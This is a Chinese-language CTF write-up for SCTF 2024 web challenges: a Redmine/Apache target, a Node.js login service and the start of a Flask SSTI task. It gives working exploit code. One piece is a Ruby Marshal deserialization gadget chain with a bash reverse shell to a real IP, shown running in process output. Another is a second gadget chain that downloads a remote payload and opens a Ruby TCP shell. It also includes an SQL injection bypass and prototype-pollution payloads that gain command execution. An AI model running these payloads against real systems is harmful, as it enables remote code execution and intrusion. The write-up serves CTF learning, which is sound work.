前言
并非不可战胜
参考:
https://blog.wm-team.cn/index.php/archives/82/
https://hackmd.io/@sahuang/H1A2qvIAR#SycServer20
https://mp.weixin.qq.com/s/qOueXdU3UaKiJoUnuUjBEA
https://blog.xmcve.com/2024/10/01/SCTF-2024-Writeup/
https://quick-mascara-699.notion.site/2024SCTF-wp-d34600322f1141e680e837abce5795ef?pvs=74
havefun
apache最新最热
hint1:仔细思考SCTF.jpg的内容存在含义,本题不需要任何爆破扫描等操作
hint2:/static/test
Please go to /static/SCTF.jpg
访问并下载SCTF.jpg
用010打开,在图片的末尾发现一段php
<?php
$file = '/etc/apache2/sites-available/000-default.conf';
$content = file_get_contents($file);
echo htmlspecialchars($content);
?>
dirsearch开扫,扫出个/static/test
Database
information_schema
mysql
performance_schema
redmine_default
secret
sys
是数据库名
发现里面的活动和文件都不用登录就可以访问
公共靶机魅力时刻(
账密admin:admin123456
默认的管理员帐号已改变
附件路径可写
插件的附件路径可写 (./public/plugin_assets)
All database migrations have been run
MiniMagick 可用(可选的)
可使用 ImageMagick 转换图片格式 (可选)
ImageMagick PDF 支持 (可选)
Environment:
Redmine version 5.0.4.stable
Ruby version 3.1.2-p20 (2022-04-12) [x86_64-linux-gnu]
Rails version 6.1.7.3
Environment production
Database adapter Mysql2
Mailer queue ActiveJob::QueueAdapters::AsyncAdapter
Mailer delivery smtp
Redmine settings:
Redmine theme Default
SCM:
Filesystem
Redmine plugins:
no plugin installed
本地想起一个一样的环境,但是docker拉下来的环境路径不一样,不过文件结构差不多,测试发现上传的文件路径我们都不可控
apache2.4.55,结合配置服务的漏洞,想起来去年的 ezcheckin 也是个 apache 的洞
找了一圈,想起来black hat 2024的课题,参考:https://rivers.chaitin.cn/blog/cqr0pg10lne22g7e74ig
成功执行
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
PassengerAppRoot /usr/share/redmine
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/redmine>
RailsBaseURI /redmine
#PassengerResolveSymlinksInDocumentRoot on
</Directory>
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
LogLevel alert rewrite:trace3
RewriteEngine On
RewriteRule ^/profile/(.*)$ /$1.html
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
注意这段
RewriteEngine On
RewriteRule ^/profile/(.*)$ /$1.html
拿到私钥 94e61cc23d1fa4e799f5bc6fd478fded
拿到数据库账密
试图打ruby cookie反序列化:https://drive.google.com/file/d/1UMxphxFxwRf7wbrw4_Hr56KGPzpLU3Ef/view
(有个有意思的事,在那篇 black hat 原文的繁中版那里可以找到这个打ror的链接,但是英文版的没有这个链接)
require 'rails/all'
require 'cgi'
require 'active_support'
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)
d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/pwn.txt", :environment => d0 , :data => "<%= `ls;bash -c 'bash -i >& /dev/tcp/115.236.153.177/30908 0>&1'` %>", :metadata => {}})
d2=Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c=Logger.allocate
c.instance_variable_set(:@logdev, d)
e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")
b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)
$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate,$a]
end
end
end
end
def sign_and_encrypt_data(data, secret_key_base)
salt = "authenticated encrypted cookie"
encrypted_cookie_cipher = 'aes-256-gcm'
serializer = ActiveSupport::MessageEncryptor::NullSerializer
key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
key_len = ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
secret = key_generator.generate_key(salt, key_len)
encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: encrypted_cookie_cipher, serializer: serializer)
data = encryptor.encrypt_and_sign(data)
CGI::escape(data)
end
final = ActiveRecord::Associations::Association.allocate
data = Marshal.dump(final)
puts sign_and_encrypt_data(data,"94e61cc23d1fa4e799f5bc6fd478fded")
npoD73xm02DrbgVoluC24R%2Bigj6xXeLdDWK2w%2BNomugQDwfE4hWc2z3G7TQ4PbYEIkBhBCqubSdRCZnrOx2qG59Xr3Q8BM3pvQJ7gerDYnDtohS4wZA7CoWx2p15mFnOHlyf4fIp%2Bba9DPvOH22Fb9R0kEfQeq8EL2ig7lmY6GNWN2BWWlBE2U9EhYB0pIPhHPtz5Q7HEB2q4DVIz82wx3bp1%2Bd%2Bk7OuD3vPqZp6txJK3mmaCw9LI3tyxdgZwQfYpuZQwQPIL%2Bdf5fy9007YbUaJP5VZwOgx94JjBWCzVXtX%2F0erEKMLlFGzpklao38%2FCcji%2FMQoaD8uTsCdVtMIol6MA8foSd9s%2BYBmFrofEIWOCLRHy1ZZ%2FCmrXuo9hmCBTvmUnUrszjKqDiJ5p5%2BTBGE41JJMEzI67r4YGm5RcrPelEHMlNi7V1X3BGP4DOHRlGGe%2BQ4KquMJD1cUpk9GpcirQbFzCpYvx6k1XzTuKszPHOgTgJY%2FW6sT%2BJIlc2gx05BzbpgvCJLQteZPRbjAdTRjaAYr2p5Za2bErem0KW9%2FGQC6NSYF6tI9ehKl7RehDWoCypUtafylvXFPlKEPraWkqFtzCkW7y0O%2B59WLiEXwLKwtxWCb16YpyEDqzC39PaVhT%2BtrbUJYxndnTHhVMMDC49E4djT8I8X3huta13tlYXL8%2FLvaBVhEIgE40lQ8iHF1KPjJBhJo5c3kxnf7yddTV1OT2cnMer87lzf1f88%3D--uS48zvF1JZRGCyNn--sedX5HuohuWjGw1eKgPKYg%3D%3D
/login 处传cookie触发反序列化弹shell
打了一天这题看到网页的admin密码被改了,虽然用不到就是了(
接下来想到第二个hint,意识到这个账密登录的不是我们的目标数据库
观察一下进程
www-data@4c8bda94f06b:/usr/share/redmine$ ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 16:28 pts/0 00:00:00 /bin/sh /usr/sbin/apachectl start
root 11 1 0 16:28 pts/0 00:00:01 /usr/sbin/apache2 -DFOREGROUND -k start
root 37 11 0 16:28 ? 00:00:00 Passenger watchdog
root 40 37 0 16:28 ? 00:00:09 Passenger core
root 170 1 0 16:28 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 297 170 0 16:28 ? 00:00:05 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
root 298 170 0 16:28 ? 00:00:00 logger -t mysqld -p daemon error
root 3318 0 0 18:05 pts/2 00:00:00 bash
root 3330 3318 0 18:05 pts/2 00:00:00 mysql
www-data 6859 11 0 20:16 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 7356 11 0 20:30 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 7416 11 0 20:32 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 7417 11 0 20:32 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 7419 11 0 20:32 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 7420 11 0 20:32 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 7422 11 0 20:32 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 7423 11 0 20:32 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 7424 11 0 20:32 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 10450 1 0 22:35 ? 00:00:00 Passenger RubyApp: /usr/share/redmine (production)
www-data 12589 11 0 23:50 pts/0 00:00:00 /usr/sbin/apache2 -DFOREGROUND -k start
www-data 12746 40 3 23:55 ? 00:00:02 Passenger AppPreloader: /usr/share/redmine
www-data 12789 12746 0 23:55 ? 00:00:00 Passenger RubyApp: /usr/share/redmine (production)
www-data 12829 10450 0 23:56 ? 00:00:00 sh -c ls;bash -c 'bash -i >& /dev/tcp/115.236.153.177/30908 0>&1'
www-data 12831 12829 0 23:56 ? 00:00:00 bash -c bash -i >& /dev/tcp/115.236.153.177/30908 0>&1
www-data 12832 12831 0 23:56 ? 00:00:00 bash -i
www-data 12849 12832 0 23:56 ? 00:00:00 ps -ef
没啥重要的东西
ls -lh /var/www/html/static/
发现 test 是 www-data 权限,而且没看到test文件的生成方式,读一下历史命令试试(实际上我是grep 翻关键字的时候发现的)
www-data@4c8bda94f06b:/usr/share/redmine$ cat ./templates/database-mysql.yml.template
plate/templates/database-mysql.yml.temp
production:
adapter: mysql2
database: _DBC_DBNAME_
host: _DBC_DBSERVER_
port: _DBC_DBPORT_
username: _DBC_DBUSER_
password: _DBC_DBPASS_
encoding: utf8
www-data@4c8bda94f06b:/usr/share/redmine$ find /var -type f -exec grep -l "_DBC_" {} + 2>/dev/null
/var/www/.bash_history
www-data@4c8bda94f06b:/usr/share/redmine$ cat /var/www/.bash_history
ls
exit
ls
sudo -l
mysql -e "show databases;"
sudo -l
clear
sudo mysql -e "show databases";
sudo mysql -e "show databases;"
sudo mysql -e "show databases;" > 2
ls
sudo mysql -e "show databases;" > ./2.txt
ls
echo 1>2
ls
echo 1 > 2
ls
echo 1 > 2
ls
1.php
index.html
redmine
test.php
clear
sudo mysql -e "show databases;" > "2.txt"
ls
echo $SHELL
whoami
ls -la
cd static
ls
echo 1> 2
ls
rm 2
ls
cat test
exit
ls
mysql
sudo mysql -e "show databases;"
sudo -l
exit
发现直接用 sudo 执行mysql命令即可
sudo mysql -e "use secret;show tables;select * from flag;"
W&M的解法
看了一下发现它们打ruby反序列化的方法和我的不一样
参考:
https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
看不懂参考文章,感觉也是打反序列化,但是这里用到了自己的服务器
总之先贴一下它们的打法:
先生成一个带命令的rz文件。放到自己的https oss上。把请求地址放@host的地方
# Autoload the required classes
require 'uri'
require 'rails/all'
Gem::SpecFetcher
# create a file a.rz and host it somewhere accessible with https
def generate_rz_file(payload)
require "zlib"
spec = Marshal.dump(Gem::Specification.new("bundler"))
out = Zlib::Deflate.deflate( spec + "\"]\n" + payload + "\necho ref;exit 0;\n")
puts out.inspect
File.open("a.rz", "wb") do |file|
file.write(out)
end
end
def create_folder
uri = URI::HTTP.allocate
uri.instance_variable_set("@path", "/")
uri.instance_variable_set("@scheme", "s3")
uri.instance_variable_set("@host", "xxxxxxxx/a10.rz?") # use the https host+path with your rz file
uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/")
uri.instance_variable_set("@user", "user")
uri.instance_variable_set("@password", "password")
spec = Gem::Source.allocate
spec.instance_variable_set("@uri", uri)
spec.instance_variable_set("@update_cache", true)
request = Gem::Resolver::IndexSpecification.allocate
request.instance_variable_set("@name", "name")
request.instance_variable_set("@source", spec)
s = [request]
r = Gem::RequestSet.allocate
r.instance_variable_set("@sorted", s)
l = Gem::RequestSet::Lockfile.allocate
l.instance_variable_set("@set", r)
l.instance_variable_set("@dependencies", [])
l
end
def git_gadget(git, reference)
gsg = Gem::Source::Git.allocate
gsg.instance_variable_set("@git", git)
gsg.instance_variable_set("@reference", reference)
gsg.instance_variable_set("@root_dir","/tmp")
gsg.instance_variable_set("@repository","vakzz")
gsg.instance_variable_set("@name","aaa")
basic_spec = Gem::Resolver::Specification.allocate
basic_spec.instance_variable_set("@name","name")
basic_spec.instance_variable_set("@dependencies",[])
git_spec = Gem::Resolver::GitSpecification.allocate
git_spec.instance_variable_set("@source", gsg)
git_spec.instance_variable_set("@spec", basic_spec)
spec = Gem::Resolver::SpecSpecification.allocate
spec.instance_variable_set("@spec", git_spec)
spec
end
def popen_gadget
spec1 = git_gadget("tee", { in: "/tmp/cache/bundler/git/aaa-e1a1d77599bf23fec08e2693f5dd418f77c56301/quick/Marshal.4.8/name-.gemspec"})
spec2 = git_gadget("sh", {})
s = [spec1, spec2]
r = Gem::RequestSet.allocate
r.instance_variable_set("@sorted", s)
l = Gem::RequestSet::Lockfile.allocate
l.instance_variable_set("@set", r)
l.instance_variable_set("@dependencies",[])
l
end
def to_s_wrapper(inner)
s = Gem::Specification.new
s.instance_variable_set("@new_platform", inner)
s
end
folder_gadget = create_folder
exec_gadget = popen_gadget
generate_rz_file(("ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"xxxxx\",\"1337\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"))
r = Marshal.dump([Gem::SpecFetcher, to_s_wrapper(folder_gadget), to_s_wrapper(exec_gadget)])
#Marshal.load(r)
#puts %{Marshal.load(["#{r.unpack("H*")}"].pack("H*"))}
def sign_and_encryt_data(data,secret_key_base)
salt = 'authenticated encrypted cookie'
encrypted_cookie_cipher='aes-256-gcm'
serializer=ActiveSupport::MessageEncryptor::NullSerializer
key_generator=ActiveSupport::KeyGenerator.new(secret_key_base,iterations: 1000)
key_len=ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
secret=key_generator.generate_key(salt,key_len)
encryptor=ActiveSupport::MessageEncryptor.new(secret,cipher: encrypted_cookie_cipher,serializer: serializer)
data=encryptor.encrypt_and_sign(data)
CGI::escape(data)
end
puts sign_and_encryt_data(r,ARGV[0])
SycServer2.0(复现)
javascript + sql注入 + 原型链污染
ctrl+u
function wafsql(str){
return str.replace(/[\-\_\,\!\|\~\`\(\)\#\$\%\^\&\*\{\}\:\;\"\<\>\?\\\/\'\ ]/g, '');
}
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
const authToken = getCookie('auth_token');
if (authToken) {
window.location.href = '/hello';
}
document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();
const username = wafsql(document.getElementById('username').value);
const password = wafsql(document.getElementById('password').value);
const response = await fetch('/config');
const { publicKey } = await response.json();
const encrypt = new JSEncrypt();
encrypt.setPublicKey(publicKey);
const encryptedPassword = encrypt.encrypt(password);
const formData = {
username: username,
password: encryptedPassword
};
const loginResponse = await fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(formData),
});
const result = await loginResponse.json();
if (result.success) {
alert('登录成功');
window.location.href = "/hello"
} else {
alert('登录失败:' + result.message);
}
});
有sql的waf,发现几个路由:
- /hello
- /config
- /login
访问/config拿到公钥
{"publicKey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----"}
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ
TfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC
XmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe
I+Atul1rSE0APhHoPwIDAQAB
-----END PUBLIC KEY-----
前端会拿这个公钥去加密password,然后传给后端
让我们看看去年是怎么解的这题 :
在admin路由里其实是会执行
ssh -i rsa_key vanzy@xxxxx
这个指令去读取密钥文件的。然后我们可以再密钥文件里加入一条恶意的语句command=xxxxxxx
,也就是标记ssh连接后干啥。写个反弹shell就出了
这里设计到一个ssh指令的特性,ssh在读取密钥文件的时候,会识别密钥文件中的command=xxx
,这样实际上就是一个ssh后门
好完全没有关系(
看一下前端的加密函数…
唉完全审不了
dirsearch 扫一下发现 robots.txt
User-agent: *
Disallow:
Disallow: /ExP0rtApi?v=static&f=1.jpeg
访问发现还是需要token
然后尝试抓包自己加密个rsa注入万能密码
不行,看来加密逻辑对不上,后面得知这个库默认是用 PKCS1 加密的
因为wafsql
是前端函数,那么尝试在控制台覆写这个函数,然后前端注入sql
function wafsql(str){
return str;
}
注入万能密码1'||1=1#
登录成功
带上token去 /ExP0rtApi,尝试读源码
竟然是gz,dump下来解压得到 app.js 的源码
const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');
const con = mysql.createConnection({
host: 'localhost',
user: 'ctf',
password: 'ctf123123',
port: '3306',
database: 'sctf'
})
con.connect((err) => {
if (err) {
console.error('Error connecting to MySQL:', err.message);
setTimeout(con.connect(), 2000); // 2秒后重试连接
} else {
console.log('Connected to MySQL');
}
});
const {response} = require("express");
const req = require("express/lib/request");
var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });
var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;
const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());
var Reportcache = {}
function verifyAdmin(req, res, next) {
const token = req.cookies['auth_token'];
if (!token) {
return res.status(403).json({ message: 'No token provided' });
}
jwt.verify(token, SECRET_KEY, (err, decoded) => {
if (err) {
return res.status(403).json({ message: 'Failed to authenticate token' });
}
if (decoded.role !== 'admin') {
return res.status(403).json({ message: 'Access denied. Admins only.' });
}
req.user = decoded;
next();
});
}
app.get('/hello', verifyAdmin ,(req, res)=> {
res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});
app.get('/config', (req, res) => {
res.json({
publicKey: publicPem,
});
});
var decrypt = function(body) {
try {
var pem = privatePem;
var key = new nodeRsa(pem, {
encryptionScheme: 'pkcs1',
b: 1024
});
key.setOptions({ environment: "browser" });
return key.decrypt(body, 'utf8');
} catch (e) {
console.error("decrypt error", e);
return false;
}
};
app.post('/login', (req, res) => {
const encryptedPassword = req.body.password;
const username = req.body.username;
try {
passwd = decrypt(encryptedPassword)
if(username === 'admin') {
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
con.query(sql, (err, rows) => {
if (err) throw new Error(err.message);
if (rows[0][Object.keys(rows[0])]) {
const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
res.cookie('auth_token', token, {secure: false});
res.status(200).json({success: true, message: 'Login Successfully'});
} else {
res.status(200).json({success: false, message: 'Errow Password!'});
}
});
} else {
res.status(403).json({success: false, message: 'This Website Only Open for admin'});
}
} catch (error) {
res.status(500).json({ success: false, message: 'Error decrypting password!' });
}
});
app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
var rootpath = req.query.v;
var file = req.query.f;
file = file.replace(/\.\.\//g, '');
rootpath = rootpath.replace(/\.\.\//g, '');
if(rootpath === ''){
if(file === ''){
return res.status(500).send('try to find parameters HaHa');
} else {
rootpath = "static"
}
}
const filePath = path.join(__dirname, rootpath + "/" + file);
if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found');
}
fs.readFile(filePath, (err, fileData) => {
if (err) {
console.error('Error reading file:', err);
return res.status(500).send('Error reading file');
}
zlib.gzip(fileData, (err, compressedData) => {
if (err) {
console.error('Error compressing file:', err);
return res.status(500).send('Error compressing file');
}
const base64Data = compressedData.toString('base64');
res.send(base64Data);
});
});
});
app.get("/report", verifyAdmin ,(req, res) => {
res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});
app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});
app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});
//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})
app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});
package.json
{
"dependencies": {
"body-parser": "^1.20.3",
"cookie-parser": "^1.4.6",
"crypto": "^1.0.1",
"express": "^4.21.0",
"jsonwebtoken": "^9.0.2",
"mysql": "^2.18.1",
"node-rsa": "^1.1.1",
"path": "^0.12.7",
"require-in-the-middle": "^7.4.0"
}
}
先尝试读flag
解压得到No Rce?I can't Give You Flag Bro
,:(
那还是要rce,审个代码先
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
这是我们刚才sql注入的点,一个'
闭合就行了
注意到开头
const handle = require('./handle');
引入了但是完全没用到,读取这个文件报了个错,猜测是个文件夹,尝试读handle/index.js
var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');
new ritm.Hook(
['child_process'],
function (module, name) {
switch (name) {
case 'child_process': {
return patchChildProcess(module);
}
}
}
);
读 handle/child_process.js
function patchChildProcess(cp) {
cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });
return cp;
}
function patchOptions(hasArgs) {
return function apply(target, thisArg, args) {
var pos = 1;
if (pos === args.length) {
args[pos] = prototypelessSpawnOpts();
} else if (pos < args.length) {
if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
pos++;
}
if (typeof args[pos] === 'object' && args[pos] !== null) {
args[pos] = prototypelessSpawnOpts(args[pos]);
} else if (args[pos] == null) {
args[pos] = prototypelessSpawnOpts();
} else if (typeof args[pos] === 'function') {
args.splice(pos, 0, prototypelessSpawnOpts());
}
}
return target.apply(thisArg, args);
};
}
function prototypelessSpawnOpts(obj) {
var prototypelessObj = Object.assign(Object.create(null), obj);
prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
return prototypelessObj;
}
module.exports = patchChildProcess;
看不懂,总之是child_process的hook,作用是防options参数的原型链污染
观察一下这里
const cp = require('child_process');
app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});
app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});
//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})
存在Reportcache[user][date] = reportmessage
可以原型链污染,那么猜测我们要污染的目标就是const cmd = cp.spawn(command ,[]);
请求体得以json的格式发出去
这里/VanZY_s_T3st
只有俩参数,可以直接污染2号下标,也不会被Object.assign
干掉,相当于自由控制options
payload:执行的方法好像有挺多,远程测了半天发现有 /readflag
{
'user': "__proto__",
'date': "2",
"reportmessage": {
"shell": "/proc/self/exe",
"argv0": "console.log(require('child_process').execSync('/readflag').toString())//",
"env": { "NODE_OPTIONS": "--require=/proc/self/cmdline" }
}
}
或者
{
"user":"__proto__",
"date": 2,
"reportmessage":{
"shell":"/readflag",
"env":
{
"NODE_DEBUG": "require(\"child_process\").exec(\"env\");process.exit()//",
"NODE_OPTIONS": "--require /proc/self/environ"
}
}
}
这个执行的命令在shell参数上
ezRender(复现)
hint1:
ulimit -n =2048
cat /etc/timezone : UTC
本地起环境调试咣咣报错,昏了
先审一下代码
app.py
from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf
app = Flask(__name__,static_folder="static",template_folder="templates")
user={}
@app.route('/register', methods=["POST","GET"])
def register():
method=request.method
if method=="GET":
return render_template("register.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if data["username"] in user:
return "This name had been registered"
else:
user[name] = User(name, pwd)
return "OK"
@app.route('/login', methods=["POST","GET"])
def login():
method=request.method
if method=="GET":
return render_template("login.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if name not in user:
return "This account is not exist"
else:
if user[name].pwd == pwd:
token=generateToken(user[name])
return "OK",200,{"Set-Cookie":"Token="+token}
else:
return "Wrong password"
@app.route('/admin', methods=["POST","GET"])
def admin():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
method=request.method
if method=="GET":
return render_template("admin.html",name=name)
if method=="POST":
template = request.form.get("code")
if result != "True":
return result, 401
#just only blackList
if waf(template):
return "Hacker Found"
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
@app.route('/', methods=["GET"])
def index():
return redirect("login")
@app.route('/removeUser', methods=["POST"])
def remove():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
if result != "True":
return result, 401
rmuser=request.form.get("username")
user.pop(rmuser)
return "Successfully Removed:"+rmuser
if __name__ == '__main__':
# for the safe
del __builtins__.__dict__['eval']
app.run(debug=False, host='0.0.0.0', port=8080)
一眼要伪造进 /admin 来ssti
找一下token的生成方式
def generateToken(user):
secret_key=user.secret
secret={"name":user.name,"is_admin":"0"}
verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
infor={"name":user.name,"secret":verify_c}
token=base64.b64encode(json.dumps(infor).encode()).decode()
return token
看一下 user.secret 怎么来的
User.py
import time
class User():
